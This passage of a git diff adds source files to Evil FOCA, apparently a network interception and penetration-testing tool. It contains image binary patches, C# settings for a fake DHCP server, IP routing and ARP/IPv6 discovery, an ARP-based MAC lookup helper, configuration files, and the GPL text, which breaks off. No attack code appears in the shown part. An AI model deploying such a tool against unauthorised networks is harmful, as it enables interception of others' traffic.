zl1+yAD2BPy5Nkg$mvj~>SoBKUaIdVMq`5c*PBT@NLV8N9aVn-~Q{q(trGtITJEGqeOF*$-J zT52@u%-lB0NW+La`{e~0@oO)vU$fLxG}BrQ%aZ2*NUs1nmC6db^lJ~oLEZ>#G?{Hb z83XsAu`g7#eae;8Vgkrhc$`Hi_<1$IEw?2X$TZvW-hl{ZGGDtw9#HJWqQ8Q7BsFb@ zB&MsjsDk!0uKfye zkF~j>v!Hlu9q3B4#{cs_^CPB|Q+WfxN*u|udwX>!yizQtFFe9;yZ|y)1LvWoX`FBo zD-@!*3F|gvcqb;0+bR#0AcM8y6Cc8-L;Sp|pVPfl&-;s+VHX>y7elz14~{62eDk2MzuW%qu59SNV_sK0TlWzQSI_g5k}7EngcyEAes)(%q1$elMK-cp2}8M|-o^By4?K;ZM-9u~ zHt9=?StVM;>Flppqoa*lh|Puu($X|Li4`X^O0ZNY{6JXzVawocr-^GeTN=dF9OYpB zHQpPUVW}XAbu_ouat!h^hwmbN^~zJD(vb*;H63YI6R$KbLt2-6L6ahtBV>(V7}Ftx zygExs``8Zi7kZ4XFRF4&!P2(kFGh`Jfxdyx>o_7>2eO-zAv3X81b8*I=vgTeK|?yV zh0tM9UaE&ZO<$gKQY_FzvYD&-nal)793jJjj=*p!4CKgD(Q=-SK|WFPSuP}5Lw6xd zYE`tNb9`??9glZ>81;<5F>|titlB1_a~;-z?qbH8g2z?z;-3KUO9z zZpRiJ+ob&mGgGaN)u$DMP!!Nyx_ulrtf_x(X0m;A zbzvY_RucQzR^`y6sT`4m7n{)_-2gt8igA12;9YvBTi_k(00+)0-DF|)PY=_WjKgUu z;BSYT_JSP9*Pv@pfi{@lw0U*U?d>wWEFY6Xus28vG@*bxC?%iYv=IrJy9p~V-c?yy>BFc!S^%xh~s^R`A|W$|B$Y6dc;L0JJJ~K0HRD%2(W`5 z4#KmPil4biDmgt&6u3zJT!@Z|JmGM;aNn)AN`3;@3zSCSb(^1A>4002ovPDHLkV1g{l Bcy|B* literal 0 HcmV?d00001 diff --git a/EvilFoca/Resources/Start.png b/EvilFoca/Resources/Start.png new file mode 100644 index 0000000000000000000000000000000000000000..4e52429d3e902af9f8f94ec82801e46c2611d451 GIT binary patch literal 737 zcmV<70v`Q|P)<@#`-JfB<3uiR}6M|G(DcM{huEu-g2?-x^*VPdFs;a zpMl&k3bEef$7h0h99@zGkj(FvO`wr+nMg|^H4u%MC2|i#d;`{ac-_~1?zA+p< z|LMc$uYack(@qWC08q-k`3z_x%YPInf>IdBHGhBs^b45MUcUar08G?;Fz=%naPIwI zpvC_|x_|;e_TRq@pPzsI|NX;H#=lJeU;Jfd%wqlae?87H`1JWZ!|&JM|Ni;-i~0NC zpAWzO{}m^~!g~lD+CcM|e*ecAh%awFdzj1cjN!7Xgxo2R04Fm$11AGJ!Ds{kGk6@m ToP4q`00000NkvXXu0mjf@!V_7 literal 0 HcmV?d00001 diff --git a/EvilFoca/Settings.Designer.cs b/EvilFoca/Settings.Designer.cs new file mode 100644 index 0000000..1b380e1 --- /dev/null +++ b/EvilFoca/Settings.Designer.cs @@ -0,0 +1,139 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +//------------------------------------------------------------------------------ +// +// Este código fue generado por una herramienta. +// Versión de runtime:4.0.30319.296 +// +// Los cambios en este archivo podrían causar un comportamiento incorrecto y se perderán si +// se vuelve a generar el código. +// +//------------------------------------------------------------------------------ + +namespace evilfoca { + + + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")] + public sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { + + private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); + + public static Settings Default { + get { + return defaultInstance; + } + } + + [global::System.Configuration.UserScopedSettingAttribute()] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Configuration.DefaultSettingValueAttribute("-1")] + public int Interface { + get { + return ((int)(this["Interface"])); + } + set { + this["Interface"] = value; + } + } + + [global::System.Configuration.UserScopedSettingAttribute()] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Configuration.DefaultSettingValueAttribute("True")] + public bool UseRealDHCPData { + get { + return ((bool)(this["UseRealDHCPData"])); + } + set { + this["UseRealDHCPData"] = value; + } + } + + [global::System.Configuration.UserScopedSettingAttribute()] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Configuration.DefaultSettingValueAttribute("")] + public string DHCPFakeServerMAC { + get { + return ((string)(this["DHCPFakeServerMAC"])); + } + set { + this["DHCPFakeServerMAC"] = value; + } + } + + [global::System.Configuration.UserScopedSettingAttribute()] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Configuration.DefaultSettingValueAttribute("")] + public string DHCPFakeServerIP { + get { + return ((string)(this["DHCPFakeServerIP"])); + } + set { + this["DHCPFakeServerIP"] = value; + } + } + + [global::System.Configuration.UserScopedSettingAttribute()] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Configuration.DefaultSettingValueAttribute("False")] + public bool IPRoutingEnabled { + get { + return ((bool)(this["IPRoutingEnabled"])); + } + set { + this["IPRoutingEnabled"] = value; + } + } + + [global::System.Configuration.UserScopedSettingAttribute()] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Configuration.DefaultSettingValueAttribute("False")] + public bool DiscoverWithRouterAdvertisement { + get { + return ((bool)(this["DiscoverWithRouterAdvertisement"])); + } + set { + this["DiscoverWithRouterAdvertisement"] = value; + } + } + + [global::System.Configuration.UserScopedSettingAttribute()] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Configuration.DefaultSettingValueAttribute("True")] + public bool DiscoverWithPingMulticastIpv6 { + get { + return ((bool)(this["DiscoverWithPingMulticastIpv6"])); + } + set { + this["DiscoverWithPingMulticastIpv6"] = value; + } + } + + [global::System.Configuration.UserScopedSettingAttribute()] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Configuration.DefaultSettingValueAttribute("True")] + public bool DiscoverWithArpScan { + get { + return ((bool)(this["DiscoverWithArpScan"])); + } + set { + this["DiscoverWithArpScan"] = value; + } + } + } +} diff --git a/EvilFoca/Settings.cs b/EvilFoca/Settings.cs new file mode 100644 index 0000000..98a4cf2 --- /dev/null +++ b/EvilFoca/Settings.cs @@ -0,0 +1,37 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +namespace evilfoca +{ + + public sealed partial class Settings + { + + public Settings() + { + + } + + private void SettingChangingEventHandler(object sender, System.Configuration.SettingChangingEventArgs e) + { + } + + private void SettingsSavingEventHandler(object sender, System.ComponentModel.CancelEventArgs e) + { + } + } +} diff --git a/EvilFoca/Settings.settings b/EvilFoca/Settings.settings new file mode 100644 index 0000000..ca00773 --- /dev/null +++ b/EvilFoca/Settings.settings @@ -0,0 +1,30 @@ + + + + + + -1 + + + True + + + + + + + + + False + + + False + + + True + + + True + + + \ No newline at end of file diff --git a/EvilFoca/Utils.cs b/EvilFoca/Utils.cs new file mode 100644 index 0000000..363c1d5 --- /dev/null +++ b/EvilFoca/Utils.cs @@ -0,0 +1,46 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Net; +using System.Runtime.InteropServices; + +namespace evilfoca +{ + class Utils + { + [DllImport("iphlpapi.dll", ExactSpelling = true)] + public static extern int SendARP(int DestIP, int SrcIP, byte[] pMacAddr, ref uint PhyAddrLen); + + public static string GetMacUsingARP(string IPAddr) + { + IPAddress IP = IPAddress.Parse(IPAddr); + byte[] macAddr = new byte[6]; + uint macAddrLen = (uint)macAddr.Length; + + if (SendARP((int)IP.Address, 0, macAddr, ref macAddrLen) != 0) + throw new Exception("ARP command failed"); + + string[] str = new string[(int)macAddrLen]; + for (int i = 0; i < macAddrLen; i++) + str[i] = macAddr[i].ToString("x2"); + + return string.Join(":", str); + } + } + +} diff --git a/EvilFoca/app.config b/EvilFoca/app.config new file mode 100644 index 0000000..7ca3eaa --- /dev/null +++ b/EvilFoca/app.config @@ -0,0 +1,36 @@ + + + + +

+ + + + + + -1 + + + True + + + + + + + + + False + + + False + + + True + + + True + + + + \ No newline at end of file diff --git a/EvilFoca/app.manifest b/EvilFoca/app.manifest new file mode 100644 index 0000000..95c5bee --- /dev/null +++ b/EvilFoca/app.manifest @@ -0,0 +1,17 @@ + + + + + + + + + + + + + + + + + diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..94a9ed0 --- /dev/null +++ b/LICENSE @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to 